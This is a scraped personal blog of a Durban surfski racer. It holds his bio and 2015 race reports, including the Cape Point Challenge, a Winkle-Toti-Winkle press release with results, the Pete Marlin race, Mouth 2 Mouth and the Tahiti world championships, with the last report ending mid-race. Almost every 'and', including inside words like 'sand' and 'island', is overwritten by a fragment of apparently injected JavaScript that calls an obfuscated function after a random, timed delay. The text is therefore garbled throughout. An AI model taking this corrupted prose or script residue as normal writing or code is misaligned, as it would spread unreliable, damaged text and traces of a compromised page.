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    I was born on 19/04/83 in Empangeni on the KwaZulu Natal North coast to Mother Bambi Edwina May Barber and Father Mark Alexander Lewin. I was brought up in Durban and haven’t left, I love it here. I played almost all sports through school but only started paddling a K1 at 15 years and then progressed to Surfski racing at 18 when I left school. I currently race as a semi pro athlete and compete in events all over the world. I try get to as many international surfski races I can afford.

    I mostly live a life of passion for paddling and the sea. This blog aims to share my story through words, pictures and video that take you the viewer into my life as a paddler. Join me on an adventure. Hope you enjoy!

    Fenn Cape Point Challenge 2015

    Written by Barry Lewin on . Posted in Racing

    The beauty of the Cape of storms andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the experience of paddling around the point is breath taking. Something every paddler needs to do at least once. Its something that has drawn me back to the cold waters of the Atlantic.

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    The race has a nasty side, that excites andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and scares me. The challenge of the distance andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the extreme conditions (cold andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and headwind) will scare most, it certainly gives me the shivers.

    The weatherman didn’t come to the party andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and after a hard flat paddle to the point we were greeted with a head wind, coming home into Fish Hoek. Getting to the finish would challenge the 120 paddlers on the water for sure.

    I went really well for the first 2 hours, cutting the rock on the point in 5th andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and joining up with Kenny Rice into the wind , as I prepared for the pain of the last 20km. Little did I know how bad that pain was going to be. I started cramping at 2h40min andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and spend that last 2 hours having to stop every couple min loosing a ton of time.

    Survival mode kicked in, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the goal of reaching the finish became a real battle. A couple min at a time, setting little goals, at snails pace I got to the line in pretty bad nick. The course had tested my man hood for sure as it made men out of all those who finished. A well done to all who conquered the Cape Of Storms!

    I will be back to round Cape Point again, with even more courage than before.

    Well done to Hank McGregor with won his 6th singles title in fine form. The Jeep Team athlete really is unbeatable over the longer distances.

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    Thanks to Jeep Team SA for the use of the Jeep for the trip to the race. It has made the long drive to CT so much more comfortable. I am looking forward to the next part of the trip to St Francis in this awesome machine!

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    PRESS RELEASE – Barry Lewin takes the 2015 Winkle-Toti-Winkle Sea andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Sandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Marathon

    Written by Barry Lewin on . Posted in Racing

    By Olivia Jones Communications – Pics by Kev Sawyer

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    Yesterday saw the conclusion of another exciting Winkle-Toti-Winkle Sea andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Sandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Marathon with paddlers enjoying the favourable downwind conditions on the day.

    En route to compete in the Cape Point Challenge, Barry Lewin of Varsity College/Jeep Team SA took the top position with a time of 54:17.47 in the singles surfski race.

    Lewin, who is no stranger to the race having competed eight times previously, said that the 15-knot southwesterly resulted in many smiling faces at the start of the race.

    “I had an amazing day out on the ocean,” said Lewin, who managed to make good ground 200m into the race, using the wind to his advantage andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and surfing at an average of 17km/hour. “A big thanks to the race organisers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sponsors for putting on such a good show. It’s definitely a race I’ll come back to for years to come.”

    The race, which was moved from Winklespruit to Wyndham Beach because of the wind, increased in length from the originally planned 12.6km to 15km in total. Undeterred by the extra distance, Zoog Haynes took second position in a time of 55:57.44 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Oliver Burn clinched third with a time of 56:17.12.

    Downwind specialists, Bryce Hatton andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Marc Stanton, were in their element andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and easily took the lead in the doubles race in a time of 55:39.70. The local duo was closely followed by Shaun Burgin andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Robin Tindall in a time of 57:31.75, with Mark Lewin andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Anna Clifford-Arwidi finishing in third spot in at time of 1:01:21.47.

    The “first lady” of paddling, Michelle Burn, took the women’s top spot in a time of 1:01:51.15 with Sharon Armstrong taking second with 1:15:52.24.

    The event – held annually on 16 December since 1972 – comprises three main events, organised by the Winklespruit Surf Lifesaving Club andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sanctioned by both the South African Canoe Union andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and South African Road Runners’ Association. Traditionally, the 12.6km surfski race andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the 12.6km long course beach run andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and walk both start andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and end at Winklespruit Beach after a journey to Toti Beach. The 4.8km short course beach run andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and walk goes until Warnernerdoone Rocks before returning to Winklespruit Beach.

    The three events started on Wednesday at 9.30am with a simultaneous beach clean-up taking place this year, headed by Kyle Dawson of Wasteman.

    “The weather was good with a strong southwesterly wind blowing which made for good downwind conditions that favoured the paddlers, but made things a bit challenging for the beach runners andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and walkers,” explained event organiser, Neville Hazell of Winklespruit Surf Lifesaving Club. “But despite this, everyone who attended really enjoyed the experience.”

    Hazell said the annual event, held during the height of festive season, encourages both locals andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and holidaymakers to enjoy the spectacular beaches that the Sapphire Coast has to offer. In addition, he said that the event also gives community members a chance to see Winklespruit Surf Lifesaving Club in action, with the opportunity of joining.

    “There is a great sense of camaraderie within the club andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it provides people with the chance to truly enjoy the coastal life,” said Hazell. “We really look forward to continuing this great tradition.”

    To ensure the safety of all participants, two rescue boats were deployed on the day with professional lifeguards stationed every 2km of the beach. A 4×4 vehicle was available for support andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and paramedics also in attendance.

    In a further effort to ensure the beaches are at their best, Wasteman sponsored a concurrent beach clean-up with nippers from Winklespruit Surf Lifesaving Club andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Wasteman employees taking to the shores to pick up litter along the route.

    “The South Coast has some of the most spectacular beaches andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we really want to showcase them at their absolute best which is why we undertook this beach clean-up,” explained event sponsor, Ross Fountain of Wasteman.

    The event wrapped up with a prizegiving at Winklespruit Surf Lifesaving Club with top quality prizes sponsored by XXX

    Winkle-Toti-Winkle Sea andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Sandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Marathon Results

    Men’s Singles Surfski Race

    1. Barry Lewin – 54:17.47
    2. Zoog Haynes – 55:57.44
    3. Oliver Burn – 56:17.12

    Men’s Doubles Surfski Race

    1. Bryce Hatton andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Marc Stanton – 55:39.70
    2. Shaun Burgin andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Robin Tindall – 57:31.75
    3. Mark Lewin andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Anna Clifford Arwidi – 1:01:21.47

    Women’s Singles Surfski Race

    1. Michelle Burn – 1:01:51.15
    2. Sharon Armstrong – 1:15:52.24

    Dischem / Auto Mall Pete Marlin Surfski Race 2015 – 3rd Single andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 2nd Double

    Written by Barry Lewin on . Posted in Racing

    As I wipe the sleep out my eyes this morning I cant help but have this warm, fuzzy feeling inside, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a big grin from ear to ear. Flashes of an awesome weekend flood in, a father andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and son road trip, 2 cracker downwind races as well as connecting with the paddling community from around the country, what more can one ask for?

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    The Pete Marlin really is my favorite surfski race in SA for a number of reasons so packing the car on Thursday got the blood going for sure.

    My dad andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I have a lot in common as we both have a passion for the ocean andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and surfski racing. We organized to take the trailer of Durban paddlers boats down to the race andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and treat the weekend as a bit of father son time. What a blessing it is, to be able to hang out with you old man, talk kak for many hours on the road andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and share war stories from the trip on the way home. Its not something I take for granted andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and hope to be doing more trips like this in the future with the “Bullet” as he is affectionately know. Old, but still fast on the water or to tell a story (my word can he talk).

    The racing kicked off quite early on Saturday with the singles World Series Race. The course was a 22km paddle from Orient Beach to Yellow Sandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands in some really fun SW conditions.

    The protected start Orient Beach gave the paddlers a very fair start andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 2 bunches were formed early on. I lead out the one on the inside with Jasper Mocke going out to see to find more swell with a couple paddlers following him. I learnt a lesson on this course last year how important the first 20min is. I battled to get going in 2014 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and simply couldn’t catch up. The goal was to be in the mix in the first 5km to Nahoon point.

    The first 10min of racing is quite flat in the protection of the harbour but very soon the tail of my Fenn was being lifted by a run andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I was able to glide from 1 run to the next. Conditions turned out to be “PERFECT”, with small fast runs providing some really nice technical connections between them. The angle was the same as a SW in Durban andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and this familiarity got me into a rhythm with the runs really quickly.

    Pushing hard early I managed to get away from the paddlers in my bunch of Wade Krieger andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Steve Woods. This was a nice confidence boost as Wade has really been going well in Durban andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and thought he would be a threat on the day. It was hard to tell where other paddlers where, as we passed through the B, C andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and D batches who had gone off before us. I however knew Jasper Mocke (3rd at World Champs) would be strong on the outside.

    The race went by so fast with the runs being so much fun. Linking one to another it was hard to think I was actually racing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and asked myself at times, “is racing really meant to be this fun?”. It went so fast that I was surprised to look up to notice I was passing one of the points I use as a marker some 5km from the finish. With more awareness of the finish line I could see Dawid Mocke some 150m outside me andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and knew I was in with a shout if I could hold my speed.

    Coming into the last km to Yellow Sandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands Point it was run for run with Dawid on a wider line. I missed 2 runs tacking out to get around the point andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and that was the difference, Dawid nailed the line to the surf zone andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and turned 2 runs ahead, to take the win. I don’t think I made any mistakes but Dawid was just that good andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and deserved it. Dawid drove out to check the finish the day before andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and his homework had paid off.

    pm 4

    The race was now on for 2nd andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Jasper Mocke had come in from a deep line andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and showed amazing skill catching a wave passed me andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and down the rocks. The wave took him right up to finish just behind his brother Dawid in 2nd. I scratched in for the last step of the podium in 3rd. This is a great result for me in a strong field of paddlers from around SA.

    The training for worlds andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and loosing some weight has certainly helped in getting me in the mix on the racing recently. It is very motivating andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I plan to keep up with the little things I have changed that have worked so well this year.

    The second day of racing was the doubles on the same course. I jumped in with long time friend Steve Woods, who I have never paddled with before. We didn’t have any expectations with not having any time in the boat together but with another nice SW blowing we were excited about the fun downwind on offer.

    We got away well with Jasper Mocke/Dom Notten (also a new combination) but the danger pair of Dwaid Mocke/Tom Schilperoort (a seasoned crew just having done Fish together) had gone out very hard further out to see.

    The first 10km of the race was very hard with very small runs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and no rest, climbing over the one in front all the time. Jasper again went out to see to find more swell andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we started to chase Dawid/Tom. We held them for the first 20min but soon their strength started to show andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and they put on a 200m lead at 5km to go.

    The runs improved in the last 10km with some much better speeds. We started gaining back some time but it wasn’t enough with Dawid/Tom taking a well-deserved win. Just like the singles, the race was on for 2nd, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and this time it was Steve/myself who got a wave at Yellows Point ahead of Jasper/Dom taking us into 2nd.

    All the paddlers at the event had a lot of fun on andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and off the water. It has to be one of the best-organized races I have been to. As I said in my speech at prize giving, there are 2 real standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andouts at the Pete Marlin. Firstly the people of the town in East London have to be the coolest bunch of hospitable people you could meet, they really rock. The second being the sponsors who back the event organizers, allowing them to put on such a good show. Thanks to all for the awesome weekend.

    Big thanks to the Atkinson family for the home stay. Again in 2015 you opened your home to my dad andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I. Gary you are awesome!

    Well done to Charl Van Wyk (legend race organizers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and king of the spread sheet) for all you do for the sport. I will be back for many years to come.

    Next up for me is the Fenn Cape Point Challenge in December. Not my favorite race but an exercise in building some base for next years racing. Wish me luck with some base miles over the next month.

    Mouth 2 Mouth 2015 – 1st Double – New Course Record – 2h16min22

    Written by Barry Lewin on . Posted in Racing

    I go up the north coast every year to do the Mouth 2 Mouth for many reasons. It has one of the most untouched coastlines we get to paddle, the people are salt of the earth andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and my favorite, when the North East blows, it can be one of the funnest downwinds you can find anywhere on the planet.

    The race is always well organized by a crew of people from both towns of Richards Bay andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Zini, who changed things up a little this year andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and made it a doubles race, with the plan to alternate with the calendar in KZN.

    I love doubles racing as it gives a team vibe to a normally very individual endeavor. The distance of the race suites doubles as well andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I was not the only one was excited for the challenge this year.

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    I was lucky enough to jump into a boat with Ausi import Brendan Rice, who is out in SA to do the Fish andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and stayed on for a holiday. We had a warm up Friday evening in the Illovo Suncoast Pirates Wall andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Back. The boat felt really good as we came back from getting stuck on the shark nets to take the doubles win. More importantly we got comfy in the boat together.

    The weather forecast for the weekend was awesome with 2 days of NE. The race decided to hold for the Sunday andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we set off out the Richards Bay harbour with a nice 15knot wind at our backs.

    Brendan andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I had a steady start andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and worked though the bunch to lead at the harbour wall with a big batch some 50m back lead by the danger crew in the field, good mates Hank McGregor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Lee Furby. We settled into a nice rhythm straight away milking one run to the next across the bay towards new mouth (the first real marker on the course at 8km). This first section is challenging as the runs tempt paddler to head into the bay. I was glad to stick to a straight line aiming for the first point, where the runs would straighten.

    The middle section we really went well. It’s hard to see any other boats while going downwind so we just stuck to the game plan of a shallow line all the way down the course. With good conditions I always new there was a chance we could break the race record. I currently own the singles record at around 2h23min andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and thought we could go 5 min faster in a double at least. We watched the speeds stay high the whole way even though we were into a slight head current.

    Near the finish I think my mind wandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andered as I made two mistakes in the surf coming in that cost us two swims. These things happen but not two in the space of 50m. It cost us some time as well as my pride. We eventually beached with Hank andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Lee just behind us, a little too close for comfort after working really hard the whole day to get a lead.

    The finish time, even with the swims was enough to get the race record andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it’s quite lekker to now own both the singles andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and doubles times. A big thanks to Brendan for the power in the back of the boat which made my life driving the double downwind so easy. Pity Brendan is going back to Ausi, I could use him in the some of the doubles races here in SA.

    A well done to the Zululandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and crew on another awesome race. Great value for the entry fee, awesome hospitality andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and of course, some nice wind.

    ICF Surfski World Champs – Tahiti 2015 – 12th

    Written by Barry Lewin on . Posted in Racing

    Climbing off the plane to a rich smell of salt in the air andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and humidity, I couldn’t buy smile, taking in the vibe, sounds of the warm Tahitian welcome music.

    Flashes of fond memories came flooding back from my trip last year where I got to visit 5 islandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands in 10 days andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and more importantly make some long lasting friendships. Bending down to receive a lay of flowers around my neck my excitement for the week ahead was at a huge high andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the long, very tiring trip, soon forgotten.

    The first couple days on the islandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and were spent sorting admin like accommodation, fetching surfski’s andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and familiarizing myself with the tough logistics of the race week. Just as well as the jetlag from the 12hour time difference really wacked me out of sorts on day 3, forcing a ton so catch up sleep andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and recovery.

    Starting Monday morning of race week with the acclimatization in the bag was a huge boost andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and training on the racecourse commenced with a couple of really awesome paddling sessions. The wind was from the wrong direction to start but it soon switched with the mood in the race village alight with the prospect of downwind conditions for both Ladies andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Men’s races on Friday andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Saturday respectively.

    t8

    I was lucky enough to stay with a good friend Julian andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and his family on the western side of the islandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and. The homely feeling of a home stay andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and great hospitality went a long way to settle the nerves. The daily routine of catching two busses across the inlandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to the race village became familiar, with the friendly greetings of the locals in their home language sounding more andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and more like the norm rather than a far away islandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in the middle of the pacific.

    With all in place, I went into the last 24 hour of the worlds more relaxed andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and confident than any other race in the last year. This may have a lot to do with the last weeks training andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and prep going to plan but sure does help having amazing people around you in these stressful times. There is pressure andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and expectation (most put there by myself) causing those big butterflies in the tummy ahead of the big day.

    The ladies race was nerve wrecking. I don’t do well as a spectator andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and watching on the live stream at the finish of the race really got the blood boiling. It was great to see good mates having a go on the world’s biggest stage for our sport. Michele Eray (ex saffa andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and defending world champion), now racing for her adopted country, the USA, surfed the runs like a downwind queen to lead heading into the final 3km of flat into the finish only to get caught andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and passed by Teneale Hatton from New Zealandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and. It was quite a show of physical power andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and determination from Teneale who is the 1000m K1 record holder. It was quite inspiring to watch such a tight race andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and such a high level in the ladies. If it showed anything the men’s race was going to be unreal.

    t4

    The SA team did very well with Jenna Ward coming 4th overall andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and winning the u23 title. She lived up to her nickname from marathon, the “lioness” with a gutsy paddle fighting the whole way to the end for every meter. Hayley Arthur (soon to be Nixon) in her first international race came away with a top 10 in 7th. Hayley is certainly one to watch in the future after only taking up surfski a couple of months back.

    After a good sleep it was the men’s turn on Saturday on the 34km course on the north of the main islandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and of Tahiti. Smashing some Future Life andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and coffee into the system on race day, looking over the ocean, I played the race through in my mind. Each step would be important to make sure of no mistakes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a solid outing.

    t2

    The start was in a little bay on the inside of a reef pass. With so many boats andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the wind blowing 20 knots it wasn’t going to be easy to hold a line andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and for the first time in some time the paddlers played ball. I got away well in what I thought was a very fair start.

    t3

    Jasper Mocke went out like a bat out of hell with a group forming around him to my left, which I joined andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and another group came up from the right to eventually join after about a Km or so. The first 3 km out to the hot spot buoy was always going to be challenging with side on wind andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and swell. This is certainly not my strength but the training I have putting in certainly has made me into a much better all round paddler over the last couple weeks. I was happy to stay in the mix for a good 10min on the front guys. The bunches eventually broke up with a bit of boat wake andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and some really strong efforts by Jasper at the front who ended up taking the hot spot.

    I turned into the downwind in the top 15 or so, with tons of boats all on top of each other. I couldn’t make out who was who at first bit, but as I settled into the runs I was able to take a look around to see who was where.

    There was a front group that had developed with Sean Rice, Jasper Mocke, Clint Robinson, Corry Hill andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Michelle Booth some 100 to 200 head of a big group of up to 10 paddlers all going what we call the “downwind dance”. The list of paddlers is too long to go though but could see Hank McGregor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Murray Stewart on a similar line to myself.

    The first 5km of the downwind produced some challenges. There were 6 media andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and safety boats out front with the leaders creating a lot of wash messing up the runs, this making for hard work, dealing with a lot of side on mess. I stayed calm andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and just used the water around me the best I could getting some awesome runs in-between the boats coming past.

    Eventually the boats move out to sea a little andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I chose to move more to an inside line to avoid the chaos. It worked straight away with some nice rhythm andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and my average speed going up by 1 or 2km/h. There were really good runs the whole way for the course with some big bombers in the first half andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and then the swell dying off creating faster smaller runs in the second half once around the northern tip of the islandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and some moto’s (little pot shaped islandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands on the reefs).

    The middle section of the race is a blur of focus, one run at a time. I saw people around me yet couldn’t tell you where they were, with the mind solely on the water andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and making the boat run the best I could.

